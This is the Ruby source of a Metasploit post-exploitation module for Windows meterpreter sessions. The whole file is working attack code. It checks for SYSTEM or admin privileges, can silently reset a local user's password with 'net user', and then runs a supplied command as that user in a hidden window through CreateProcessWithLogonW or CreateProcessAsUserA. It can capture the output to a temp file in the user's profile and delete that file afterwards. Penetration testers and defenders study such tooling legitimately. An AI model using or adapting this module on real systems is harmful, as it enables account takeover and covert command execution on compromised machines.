## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' require 'msf/core/post/file' require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Windows::Priv def initialize(info={}) super(update_info(info, 'Name' => "Windows Manage Run Command As User", 'Description' => %q{ This module will login with the specified username/password and execute the supplied command as a hidden process. Output is not returned by default, by setting CMDOUT to false output will be redirected to a temp file and read back in to display.By setting advanced option SETPASS to true, it will reset the users password and then execute the command. }, 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'Platform' => ['windows'], 'SessionTypes' => ['meterpreter'], 'Author' => ['Kx499'] )) register_options( [ OptString.new('USER', [true, 'Username to reset/login with' ]), OptString.new('PASS', [true, 'Password to use' ]), OptString.new('CMD', [true, 'Command to execute' ]), OptBool.new('CMDOUT', [false, 'Retrieve command output', false]), ], self.class) register_advanced_options( [ OptBool.new('SETPASS', [false, 'Reset password', false]) ], self.class) end # Check if sufficient privileges are present for certain actions and run getprivs for system # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You # need to migrate to a process that is running as # system. If you don't have privs, this exits script. def priv_check if is_system? privs = session.sys.config.getprivs if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") @isadmin = false return true else return false end elsif is_admin? @isadmin = true return true else return false end end def reset_pass(user,pass) begin tmpout = "" cmd = "cmd.exe /c net user " + user + " " + pass r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read) tmpout << d break if d == "" end r.channel.close return true if tmpout.include?("successfully") return false rescue return false end end def run # set some instance vars @IsAdmin = false @host_info = session.sys.config.sysinfo # Make sure we meet the requirements before running the script, note no need to return # unless error return 0 if session.type != "meterpreter" # check/set vars setpass = datastore["SETPASS"] cmdout = datastore["CMDOUT"] user = datastore["USER"] || nil pass = datastore["PASS"] || nil cmd = datastore["CMD"] || nil rg_adv = session.railgun.advapi32 # reset user pass if setpass is true if datastore["SETPASS"] print_status("Setting user password") if !reset_pass(user,pass) print_error("Error resetting password") return 0 end end # set profile paths sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%") os = @host_info['OS'] profiles_path = sysdrive + "\\Documents and Settings\\" profiles_path = sysdrive + "\\Users\\" if os =~ /(Windows 7|2008|Vista)/ path = profiles_path + user + "\\" outpath = path + "out.txt" # this is start info struct for a hidden process last two params are std out and in. #for hidden startinfo[12] = 1 = STARTF_USESHOWWINDOW and startinfo[13] = 0 = SW_HIDE startinfo = [0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0] startinfo = startinfo.pack("LLLLLLLLLLLLSSLLLL") #set command string based on cmdout vars cmdstr = "cmd.exe /c #{cmd}" cmdstr = "cmd.exe /c #{cmd} > #{outpath}" if cmdout # Check privs and execute the correct commands # if local admin use createprocesswithlogon, if system logonuser and createprocessasuser # execute command and get output with a poor mans pipe if priv_check if @isadmin #local admin print_status("Executing CreateProcessWithLogonW...we are Admin") cs = rg_adv.CreateProcessWithLogonW(user,nil,pass,"LOGON_WITH_PROFILE",nil, cmdstr, "CREATE_UNICODE_ENVIRONMENT",nil,path,startinfo,16) else #system with correct token privs enabled print_status("Executing CreateProcessAsUserA...we are SYSTEM") l = rg_adv.LogonUserA(user,nil,pass, "LOGON32_LOGON_INTERACTIVE", "LOGON32_PROVIDER_DEFAULT", 4) cs = rg_adv.CreateProcessAsUserA(l["phToken"], nil, cmdstr, nil, nil, false, "CREATE_NEW_CONSOLE", nil, nil, startinfo, 16) end else print_error("Insufficient Privileges, either you are not Admin or system or you elevated") print_error("privs to system and do not have sufficient privileges. If you elevated to") print_error("system, migrate to a process that was started as system (srvhost.exe)") return 0 end # Only process file if the process creation was successful, delete when done, give us info # about process if cs["return"] tmpout = "" if cmdout outfile = session.fs.file.new(outpath, "rb") until outfile.eof? tmpout << outfile.read end outfile.close c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) c.close end pi = cs["lpProcessInformation"].unpack("LLLL") print_status("Command Run: #{cmdstr}") print_status("Process Handle: #{pi[0]}") print_status("Thread Handle: #{pi[1]}") print_status("Process Id: #{pi[2]}") print_status("Thread Id: #{pi[3]}") print_line(tmpout) else print_error("Oops something went wrong. Error Returned by Windows was #{cs["GetLastError"]}") return 0 end end end